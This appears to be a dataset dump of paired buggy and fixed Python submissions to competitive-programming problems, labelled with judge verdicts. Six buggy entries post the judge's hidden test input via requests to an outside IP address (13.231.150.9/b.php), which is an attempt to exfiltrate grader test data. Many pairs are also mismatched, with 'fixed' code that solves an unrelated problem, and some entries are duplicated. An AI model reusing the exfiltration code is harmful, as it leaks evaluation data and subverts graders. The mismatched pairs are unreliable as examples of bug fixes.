Harryxun/testdata huggingface dataset:
Buggy python submission (verdict: Runtime Error):
    u, v = map(int, input().split())
    print(min(u//2, (2*u+v)//4))

Fixed submission:
u, v = map(int, input().split())
if 2*u > v:
  print(v//2)  
else:
  print((2*u+v)//4)

Buggy python submission (verdict: Runtime Error):
u, v = map(int, input().split())
print(min(u//2, (2*u+v)//4)

Fixed submission:
u, v = map(int, input().split())
if 2*u > v:
  print(v//2)  
else:
  print((2*u+v)//4)
Buggy python submission (verdict: Runtime Error):
arr = input().split()
if arr[1] == "+"
  print(int(arr[0]) + int(arr[2])) 
elif arr[1] == "-"
  print(int(arr[0]) - int(arr[2])) 

Fixed submission:
arr = input().split()
if arr[1] == "+":
  print(int(arr[0]) + int(arr[2])) 
elif arr[1] == "-":
  print(int(arr[0]) - int(arr[2]))
Buggy python submission (verdict: Runtime Error):
n = int(input())
res = 0
for i in range(1,n+1):
  if(len(i)%2):
    res+=1
print(res)

Fixed submission:
n = int(input())
res = 0
for i in range(1,n+1):
  if(len(str(i))%2):
    res+=1
print(res)
Buggy python submission (verdict: Runtime Error):

t = [int(input()) for i in range(5)]
min=9
length=len(t)
for i in range(length):
    if min%10>t[i]%10 and t[i]%10!=0:
        min=t[i]
t.remove(min)
t.append(min)
ans=0
for _ in range(length-1):
    if t[_]%10!=0:
        ans+=t[_]+10-t[_]%10
    else:
        ans+=t[_]
print(ans+t[length-1])




Fixed submission:

t = [int(input()) for i in range(5)]

min=t[0]
length=len(t)
for i in range(length):
    if min%10>t[i]%10 and t[i]%10!=0:
        min=t[i]
t.remove(min)
t.append(min)
ans=0
for _ in range(length-1):
    if t[_]%10!=0:
        ans+=t[_]+10-t[_]%10
    else:
        ans+=t[_]
print(ans+t[length-1])
Buggy python submission (verdict: Runtime Error):
N,Q = map(int, input().split())
s = input()
gorem=[1]*len(s)
t = [input().split(" ") for i in range(Q)]
for i in t:
    tmp=[j for j in range(len(s)) if s[j]==i[0]]
    if i[1]=='L':
        for _ in tmp:
            if _ == 0:
                gorem[_]=0
            else:
                gorem[_-1]+=gorem[_]
                gorem[_]-=gorem[_]
    else:
        for _ in tmp:
            if _ == len(s)-1:
                gorem[_]=0
               
            else:
                gorem[_+1]+=gorem[_]
                gorem[_]-=gorem[_]
print(sum(gorem))

Fixed submission:
a = list(map(int, input().split()))
print('Yes') if a[0]==a[1]==a[2] else print('No')

Buggy python submission (verdict: Runtime Error):
N,Q = map(int, input().split())
s = input()
gorem = []
for _ in range(len(s)):
    gorem.append(1)
t = [input().split(" ") for i in range(Q)]
for i in t:
    tmp = []
    for j in range(len(s)):
        if s[j]==i[0]:
            tmp.append(j)
    if i[1]=='L':
        for _ in tmp:
            if _ == 0:
                gorem[_]=0
            else:
                gorem[_-1]+=gorem[_]
                gorem[_]-=gorem[_]
    else:
        for _ in tmp:
            if _ == len(s)-1:
                gorem[_]=0
               
            else:
                gorem[_+1]+=gorem[_]
                gorem[_]-=gorem[_]
                
print(sum(gorem))

Fixed submission:
a = list(map(int, input().split()))
print('Yes') if a[0]==a[1]==a[2] else print('No')
Buggy python submission (verdict: Runtime Error):
# coding: utf-8
length,question = map(int, input().split())
string = input()
e = [[int(i) for i in input().split()] for i in range(question)]
c = 0
tmp = []

for i in e:
    s = ''
    for j in range(i[0],i[1]+1):
        s+=string[j-1]
    
    for n in range(len(s)):
        if s[n:n+2] == "AC":
            c+=1

    print(c)
    c = 0


Fixed submission:
i = input()
if i == "A":
    print("T")
elif i == "C":
    print("G")
elif i == "G":
    print("C")
elif i == "T":
    print("A")
Buggy python submission (verdict: Runtime Error):
string = input()
pattern = ["A","C","G","T"]

c = 0
result = []
for i in string:
    if i in pattern:
        c += 1
    else:
        result.append(c)
        c = 0

print(max(result))

Fixed submission:

string = input()
pattern = ["A","C","G","T"]

c = 0
result = []
for i in string:
    if i in pattern:
        c += 1
        if string[len(string)-1] == i:
            result.append(c)
    else:
        result.append(c)
        c = 0

if len(result) == 0:
    print(len(string))
else:
    print(max(result))
Buggy python submission (verdict: Time Limit Exceeded):
input()
a = list(map(int,input().split(" ")))

c=0
flag=True
while(flag):
    for i in range(len(a)):
        flag=False
        if a[i]%2==0:
            a[i]//=2
            c+=1
            flag = True
            break
            
print(c)
    

Fixed submission:
input()
a = list(map(int,input().split(" ")))

c=0
for i in range(len(a)):
    while a[i]%2==0:
        c+=1
        a[i]//=2
print(c)
Buggy python submission (verdict: Runtime Error):
package main

import "fmt"

func main(){
    var a, b int
    fmt.Scan(&a, &b)
    if (a*b%2==0){
        fmt.Println("even")
    }else{
        fmt.Println("odd")
    }
     
}

Fixed submission:
a, b = map(int, input().split())
print(["Even","Odd"][a*b%2])

Buggy python submission (verdict: Runtime Error):
a = [int(i) for i in input().split()] 
if a[0]*a[1]/2==0:
  print("Even")
 else:
  print("Odd")

Fixed submission:
a, b = map(int, input().split())
print(["Even","Odd"][a*b%2])

Buggy python submission (verdict: Runtime Error):
a = [int(i) for i in input().split()] 
if a[0]*a[1]/2==0:
  print("Even")
 else:
  print("Odd")

Fixed submission:
a, b = map(int, input().split())
print(["Even","Odd"][a*b%2])
Buggy python submission (verdict: Runtime Error):
A,B = list(map(int,input().split(" ")))
S = input()

for i in range(len(S)):
    if i==A:
        if S[i]!="-":
            print("No")
            exit()
    else:
        if not ord('0')<=ord(str(i))<=ord('9'):
            print("No")
            exit()
print("Yes")
            


Fixed submission:
A,B = list(map(int,input().split(" ")))
S = input()

for i in range(len(S)):

    if i==A:
        if S[i]!="-":
            print("No")
            exit()
    else:
        if not ord('0')<=ord(str(S[i]))<=ord('9'):
            print("No")
            exit()
print("Yes")
Buggy python submission (verdict: Time Limit Exceeded):
N,K = list(map(int,input().split(" ")))
A = list(map(int,input().split(" ")))
num = list(set(A))
ans=[]
for n in num:
    ans.append(A.count(n))
print(sum(sorted(ans)[:len(ans)-K:]))


Fixed submission:
N,K = list(map(int,input().split(" ")))
d={}
for i in input().split(" "):
    if i in d:
        d[i]+=1
    else:
        d[i]=1
print(sum(sorted(d.values())[:len(d.keys())-K:]))

Buggy python submission (verdict: Time Limit Exceeded):
N,K = list(map(int,input().split(" ")))
A = list(map(int,input().split(" ")))
num = list(set(A))
#print(num)
ans=[]
for n in num:
    #print(n,"=",A.count(n))
    ans.append(A.count(n))
#print(ans)
#print(len(ans),"種類")
ans.sort()
total=0
for i in range(len(ans)-K):
    total+=ans[i]
print(total)

Fixed submission:
N,K = list(map(int,input().split(" ")))
d={}
for i in input().split(" "):
    if i in d:
        d[i]+=1
    else:
        d[i]=1
print(sum(sorted(d.values())[:len(d.keys())-K:]))
Buggy python submission (verdict: Time Limit Exceeded):
import sys
sys.setrecursionlimit(1000000000)
N = int(input())

def recursive(n):
    if n==0:
        return 2
    elif n==1:
        return 1
    else:
        return recursive(n-1)+recursive(n-2)

print(recursive(N))

Fixed submission:
import sys
from functools import lru_cache
sys.setrecursionlimit(1000000000)

N = int(input())

@lru_cache(maxsize=1000)
def recursive(n):
    if n==0:
        return 2
    elif n==1:
        return 1
    else:
        return recursive(n-1)+recursive(n-2)

print(recursive(N))
Buggy python submission (verdict: Runtime Error):
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
print("None")
s.post(url,data=data)


Fixed submission:
a,b,c, = list(map(int,input().split(" ")))
if abs(a-b)>abs(a-c):
    print("B")
else:
    print("A")
Buggy python submission (verdict: Runtime Error):
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
print("None")
s.post(url,data=data)


Fixed submission:
#alphabet="abcdefghijklmnopqrstuvwxyz"
alphabet = [chr(ord('a')+i) for i in range(26)]
S=list(set(input()))
S.sort()

for i in alphabet:
    if i not in S:
        print(i)
        exit()
print("None")

Buggy python submission (verdict: Runtime Error):
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
s.post(url,data=data)
print("None")

Fixed submission:
#alphabet="abcdefghijklmnopqrstuvwxyz"
alphabet = [chr(ord('a')+i) for i in range(26)]
S=list(set(input()))
S.sort()

for i in alphabet:
    if i not in S:
        print(i)
        exit()
print("None")

Buggy python submission (verdict: Runtime Error):
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
s.post(url,data=data)


Fixed submission:
#alphabet="abcdefghijklmnopqrstuvwxyz"
alphabet = [chr(ord('a')+i) for i in range(26)]
S=list(set(input()))
S.sort()

for i in alphabet:
    if i not in S:
        print(i)
        exit()
print("None")

Buggy python submission (verdict: Runtime Error):
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
r = s.post(url,data=data)
print(r.text)

Fixed submission:
#alphabet="abcdefghijklmnopqrstuvwxyz"
alphabet = [chr(ord('a')+i) for i in range(26)]
S=list(set(input()))
S.sort()

for i in alphabet:
    if i not in S:
        print(i)
        exit()
print("None")
Buggy python submission (verdict: Runtime Error):
# coding:utf-8
def recurcive(N,c):
    if N%2==0 and N!=0:
        c+=1
        return recurcive(int(N/2),c)
    else:
        return c
#print(recurcive(8,0))

N=int(input())
maxim=0

for i in range(1,N+1):
    if recurcive(i,0) > maxim:
        maxim=ans
print(2**maxim)


Fixed submission:
# coding:utf-8
def recurcive(N,c):
    if N%2==0 and N!=0:
        c+=1
        return recurcive(int(N/2),c)
    else:
        return c
#print(recurcive(8,0))

N=int(input())
maxim=0

for i in range(1,N+1):
    if recurcive(i,0) > maxim:
        maxim=recurcive(i,0)
print(2**maxim)

Buggy python submission (verdict: Runtime Error):
# coding:utf-8
def recurcive(N,c):
    if N%2==0 and N!=0:
        c+=1
        return recurcive(int(N/2),c)
    else:
        return c
N=int(input())
maxim=-1

for i in range(1,N+1):
    if ans = recurcive(i,0) > maxim:
        maxim=ans
print(2**maxim)


Fixed submission:
# coding:utf-8
def recurcive(N,c):
    if N%2==0 and N!=0:
        c+=1
        return recurcive(int(N/2),c)
    else:
        return c
#print(recurcive(8,0))

N=int(input())
maxim=0

for i in range(1,N+1):
    if recurcive(i,0) > maxim:
        maxim=recurcive(i,0)
print(2**maxim)
Buggy python submission (verdict: Runtime Error):
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
s.post(url,data=data)
print("None")

Fixed submission:
N,M = map(int,input().split(" "))
ab = [list(map(int,input().split(" "))) for i in range(M)]
#print(ab)
ans = [0 for i in range(N+1)]
for i in range(M):
    ans[ab[i][0]]+=1
    ans[ab[i][1]]+=1
    #print(ab[i][0])
    #print(ab[i][1])
for i in range(1,len(ans)):
    print(ans[i])
Buggy python submission (verdict: Runtime Error):
a,b = map(list(map,input().split(" ")))
if a>b:
    print("Alice")
elif a<b :
    print("Bob")
else:
    print("Draw")

Fixed submission:
a,b = list(map(int,input().split(" ")))

if a==b:
    print("Draw")
    exit()
elif b==1:
    print("Bob")
    exit()
elif a==1:
    print("Alice")
    exit()
if a>b:
    print("Alice")
elif a<b :
    print("Bob")
else:
    print("Draw")
Buggy python submission (verdict: Time Limit Exceeded):
K,S = list(map(int,input().split(" ")))
c=0
for X in range(K+1):
    for Y in range(K+1):
        for Z in range(K+1):
            if X+Y+Z==S:
                c+=1
print(c)    

Fixed submission:
K,S = list(map(int,input().split(" ")))
c=0
for X in range(K+1):
    for Y in range(K+1):
        if 0<=S-X-Y<=K:
            c+=1
print(c)
Buggy python submission (verdict: Runtime Error):
n=int(input())
max=0
sum=0
for i in range(n):
  a=int(input())
  if a>=max:
    max=a
  sum=sum+a
if sum-a<a:
  print("Yes")
else:
  print("No")


Fixed submission:
n=int(input())
m=0
s=0
a=list(map(int,input().split()))
for i in range(n):
  if a[i] >= m:
    m=a[i]
  s=s+a[i]
if s-m>m:
  print("Yes")
else:
  print("No")
Buggy python submission (verdict: Runtime Error):
a, b, c = map(int, input().split())
if a+b >= c:
    c = c + 1
    
else a + b < c:
    c = c  + 1
print(c)    
  

Fixed submission:
a, b, c = map(int, input().split())
if c <= a+b:
    print(b+c)
else:
    print(2*b+a+1)

Buggy python submission (verdict: Runtime Error):
a, b, c = map(int, input().split())
if a + b + 1 >= c:
    c = b + c
    
elif a + b < c:
    c = a + b  + 1 + b
input(c)    
  

Fixed submission:
a, b, c = map(int, input().split())
if c <= a+b:
    print(b+c)
else:
    print(2*b+a+1)

Buggy python submission (verdict: Runtime Error):
a, b, c = map(int, input().split())
if a + b + 1 >= c:
    c = b + c
    
elif a + b > c:
    c = a + b  + 1 + b
input(c)    
  

Fixed submission:
a, b, c = map(int, input().split())
if c <= a+b:
    print(b+c)
else:
    print(2*b+a+1)
Buggy python submission (verdict: Runtime Error):
n=int(input())
a=int(input())
b=int(input())
if n==1:
  print("Hello World")
else:
  print(a+b)

Fixed submission:
n=int(input())
if n==1:
  print("Hello World")
else:
  a=int(input())
  b=int(input())
  print(a+b)
Buggy python submission (verdict: Runtime Error):
n=int(input())
if n%2=0:
  print(n)
else:
  print(2*n)

Fixed submission:
n=int(input())
if n%2==0:
  print(n)
else:
  print(2*n)
Buggy python submission (verdict: Runtime Error):
d,n=map(int,input().split())
if n=100:
  print(100**d*101)
else:
  print(100**d*n)

Fixed submission:
d,n=map(int,input().split())
if n==100:
  print(100**d*101)
else:
  print(100**d*n)
Buggy python submission (verdict: Runtime Error):
a,b = int(input())
if a%500 <= b:
  print("Yes")
else:
  print("No")

Fixed submission:
a = int(input())
b = int(input())
if a%500 <= b:
  print("Yes")
else:
  print("No")

Buggy python submission (verdict: Runtime Error):
a = int(input())
b = int(input())
if a%500 <= b:
  print(Yes)
else:
  print(No)

Fixed submission:
a = int(input())
b = int(input())
if a%500 <= b:
  print("Yes")
else:
  print("No")

Buggy python submission (verdict: Runtime Error):
a = input()
b = input()
c = a%500
if b >= c:
  print("Yes")
else:
  print("No")

Fixed submission:
a = int(input())
b = int(input())
if a%500 <= b:
  print("Yes")
else:
  print("No")

Buggy python submission (verdict: Runtime Error):
a = int(input(a))
b = int(input(b))
c = a%500
if b >= c:
  print("Yes")
else:
  print("No")

Fixed submission:
a = int(input())
b = int(input())
if a%500 <= b:
  print("Yes")
else:
  print("No")

Buggy python submission (verdict: Runtime Error):
a, b = map(int, input().split())
c = a%500
if b >= c:
  print("Yes")
else:
  print("No")

Fixed submission:
a = int(input())
b = int(input())
if a%500 <= b:
  print("Yes")
else:
  print("No")

Buggy python submission (verdict: Runtime Error):
a, b = map(int, input().split())
c = a%500
if b >= c:
  print("Yes")
else:
  print("No")

Fixed submission:
a = int(input())
b = int(input())
if a%500 <= b:
  print("Yes")
else:
  print("No")

Buggy python submission (verdict: Runtime Error):
a, b = map(int, input().split())
c = b%500
if a >= c:
  print("Yes")
else:
  print("No")

Fixed submission:
a = int(input())
b = int(input())
if a%500 <= b:
  print("Yes")
else:
  print("No")
Buggy python submission (verdict: Runtime Error):
a, b, c = map(int, input().split())
if (100*a + 10*b + c) %4 = 0:
  print("YES")
else:
  print("NO")

Fixed submission:
a, b, c = map(int, input().split())
d = 100*a + 10*b + c
if d%4 == 0:
  print("YES")
else:
  print("NO")
Buggy python submission (verdict: Time Limit Exceeded):
N=int(input())
a = 1

while N!=0:
  a = N*a
  N =N-1
print(a%(10**9+7))
  
  

Fixed submission:
import math
N=int(input())
print(math.factorial(N)%(10**9+7))
Buggy python submission (verdict: Runtime Error):
s=input()
for i in range(len(s)):
    if s[i]=="0":
        ans+="0"
    elif s[i]=="1":
        ans+="1"
    else:
        ans=ans[0:-1]
print(ans)

Fixed submission:
s=input()
ans=""
for i in range(len(s)):
    if s[i]=="0":
        ans+="0"
    elif s[i]=="1":
        ans+="1"
    else:
        ans=ans[0:-1]
print(ans)
Buggy python submission (verdict: Runtime Error):
A_=input(A?)
B_=input(B?)
C_=input(C?)
s=C_-A_+B_
print(s)

Fixed submission:
A,B,C=map(int,input().split())
if C-A+B<=0:
    print(0)
else: print(C-A+B)
Buggy python submission (verdict: Runtime Error):
N=int(input())
if N<=9:
  print(N)
elif 10<=N<=99:
  print(9)
elif 100<=N<=999:
  print(N-90)
elif 1000<=N<=9999:
  print(909)
elif 10000<=N<=99999:
  priint(918+N-9999)
else:
  print(90909)

Fixed submission:
N = int(input())
count = 0
for i in range(N):
  if len(str(i+1)) % 2 == 1:
    count += 1
print(count)

Buggy python submission (verdict: Runtime Error):
N = int(input())
count = 0
for i in range(N):
  if len(str(i+)) % 2 == 1:
    count += 1
print(count)


Fixed submission:
N = int(input())
count = 0
for i in range(N):
  if len(str(i+1)) % 2 == 1:
    count += 1
print(count)
Buggy python submission (verdict: Runtime Error):
N=int(input())
A=list(map(int,input().split()))
B=list(map(int,input().split()))
x=0
for i in range(N+1):
  if A[i]+A[i+1]<=B[i]:
    x+=A[i]+A[i+1]
    A[i+1]=0
  if A[i]>=B[i]:
    x+=B[i]
  if A[i]<B[i]:
    x+=B[i]
    A[i+1]=A[i+1]-(B[i]-A[i])
print(x)

Fixed submission:
N=int(input())
A=list(map(int,input().split()))
B=list(map(int,input().split()))
x=0
for i in range(N):
  if A[i]+A[i+1]<=B[i]:
    x+=A[i]+A[i+1]
    A[i+1]=0
  elif A[i]>=B[i]:
    x+=B[i]
  elif A[i]<B[i]:
    x+=B[i]
    A[i+1]=A[i+1]-(B[i]-A[i])
print(x)
Buggy python submission (verdict: Runtime Error):
m=3*r*r
prnit(m)

Fixed submission:
r=int(input())
m=3*r*r
print(m)
Buggy python submission (verdict: Runtime Error):
N,D=map(int,input().split())
m=(N-1)//(2D+1)
n=m+1
print(n)

Fixed submission:
n, d = map(int, input().split())
print(1 + n//(2*d+1)) if n%(2*d+1) else print(n//(2*d+1))
Buggy python submission (verdict: Runtime Error):
N,A,B=map(int,input().split())
train=N*A
taxi=B
if train<=taxi:
    print(train)
else print(taxi)

Fixed submission:
N,A,B=map(int,input().split())
train=N*A
taxi=B
if train<=taxi:
    print(train)
else: print(taxi)
Buggy python submission (verdict: Runtime Error):
N=int(input())
List=list(map(int,input().split()))
D=List.sort()
m=D[N&2]-D[N%2-1]-1
if m=-1:
  print(0)
else:
  print(m)

Fixed submission:
N=int(input())
List=list(map(int,input().split()))
List.sort()
l=int(N/2)
k=int(N/2-1)
m=List[l]-List[k]
print(m)
Buggy python submission (verdict: Runtime Error):
a,p=map(int,input().split())
m=(3*A+P)//2
print(m)

Fixed submission:
a,p=map(int,input().split())
m=(3*a+p)//2
print(m)
Buggy python submission (verdict: Runtime Error):
 N=int(input())
List=list(map(int,input().split()))
count=1
for i in range(1,N):
    for j in range(i):
        w=0
        if List[j]>List[i]:
            w+=1
    if w==0:  
        count+=1
print(count)
   
    

Fixed submission:
N=int(input())
List=list(map(int,input().split()))
count=1

for i in range(1,N):
    W=0
    for j in range(i):
        if List[j]>List[i]:
            W+=1
    if W==0:  
        count+=1
print(count)
Buggy python submission (verdict: Runtime Error):
A,B=map(int,input().split())
if A%B=0:
  print(A+B)
else:
  print(B-A)

Fixed submission:
A,B=map(int,input().split())
if B%A==0:
  print(A+B)
else:
  print(B-A)
Buggy python submission (verdict: Runtime Error):
s=int(input())
def f(x):
  if x%2==0:
    return x/2
  else:
    return 3*x+1
def lol(n):
  if n>1:
    return f(lol(n-1))
  elif n==1:
    return s
List=[]
for i in range(1,1000000):
  if lol(i)==2:
    break
  List.append(lol(i))
print(List.index(4)+4)



Fixed submission:
s=int(input())
List=[]
while s not in List:
  List.append(s)
  if s%2==0:
    s=s/2
  else:
    s=3*s+1
print(len(List)+1)

Buggy python submission (verdict: Runtime Error):
s=int(input())
def f(x):
  if x%2==0:
    return x/2
  else:
    return 3*x+1
def lol(n):
  if n>1:
    return f(lol(n-1))
  elif n==1:
    return s
List=[]
for i in range(1000000):
  if lol(i)==2:
    break
  List.append(lol(i))
print(List.index(4)+3)



Fixed submission:
s=int(input())
List=[]
while s not in List:
  List.append(s)
  if s%2==0:
    s=s/2
  else:
    s=3*s+1
print(len(List)+1)
Buggy python submission (verdict: Runtime Error):
N=int(input())
T,A=map(int,input().split())
List=list(map(int,input().split())
a=[]
for i in range(N):
    a.append(abs(T-List[i]*0.006-A))
print(index(min(a))+1)       


Fixed submission:
N=int(input())
T,A=map(int,input().split())
List=list(map(int,input().split()))
a=[]
for i in range(N):
    a.append(abs(T-List[i]*0.006-A))
print(a.index(min(a))+1)
Buggy python submission (verdict: Runtime Error):
input = input()
A = int(input[0])
B = int(input[1])
C = int(input[2])

X = C - (A - B)
print(X)

Fixed submission:
input = input().split()
A = int(input[0])
B = int(input[1])
C = int(input[2])
 
X = C - (A - B)
if X < 0: X = 0
print(X)
Buggy python submission (verdict: Runtime Error):
N = int(input())
H = input().split()
list = [int(x) for x in H]
 
flg, add = 'Yes', False
for i, l in enumerate(list):
  if i == len(list): break
  if add: l = l - 1
  if l > list[i + 1]:
    flg = 'No'
    break
  elif l - 1 == list[i + 1]:
    add = True
  elif l - 1 > list[i + 1]:
    flg = 'No'
    break
  else:
    add = False
 
print(flg)

Fixed submission:
N = int(input())
H = input().split()
list = [int(x) for x in H]
 
flg, add = 'Yes', False
for i, l in enumerate(list):
  if i + 1 == len(list):
    break
  if add: l = l + 1 
  if l - 1 > list[i + 1] and l < list[i + 1]:
    flg = 'No'
    break
  elif l - 1 == list[i + 1]:
    add = True
  elif l > list[i + 1]:
    flg = 'No'
    break
  else:
    add = False
 
print(flg)

Buggy python submission (verdict: Runtime Error):
N = int(input())
H = input().split()
list = [int(x) for x in H]
 
flg = 'Yes'
for i, l in enumerate(list):
  if l <= list[i + 1] or l <= list[i + 1] - 1:
    flg = 'No'
    break
 
print(flg)

Fixed submission:
N = int(input())
H = input().split()
list = [int(x) for x in H]
 
flg, add = 'Yes', False
for i, l in enumerate(list):
  if i + 1 == len(list):
    break
  if add: l = l + 1 
  if l - 1 > list[i + 1] and l < list[i + 1]:
    flg = 'No'
    break
  elif l - 1 == list[i + 1]:
    add = True
  elif l > list[i + 1]:
    flg = 'No'
    break
  else:
    add = False
 
print(flg)

Buggy python submission (verdict: Runtime Error):
N = int(input())
H = input().split()
list = [int(X) for x in H]

flg = 'Yes'
for i, l in enumerate(list):
  if l <= list[i + 1] or l <= list[i + 1] - 1:
    flg = 'No'
    break

print(flg)

Fixed submission:
N = int(input())
H = input().split()
list = [int(x) for x in H]
 
flg, add = 'Yes', False
for i, l in enumerate(list):
  if i + 1 == len(list):
    break
  if add: l = l + 1 
  if l - 1 > list[i + 1] and l < list[i + 1]:
    flg = 'No'
    break
  elif l - 1 == list[i + 1]:
    add = True
  elif l > list[i + 1]:
    flg = 'No'
    break
  else:
    add = False
 
print(flg)
Buggy python submission (verdict: Runtime Error):
A = int(input())
B = int(input())
C = int(input())
1<=B<=A<=20
1<=C<=20
D = A-B
if D>C:
    E = C-C
else:
    E = D-C

E

Fixed submission:
A, B, C = map(int, input().split())

if A-B>=C:
    print(0)
else:
    print(C-(A-B))

Buggy python submission (verdict: Runtime Error):
A B C
D = B-A
E = C-D
E

Fixed submission:
A, B, C = map(int, input().split())

if A-B>=C:
    print(0)
else:
    print(C-(A-B))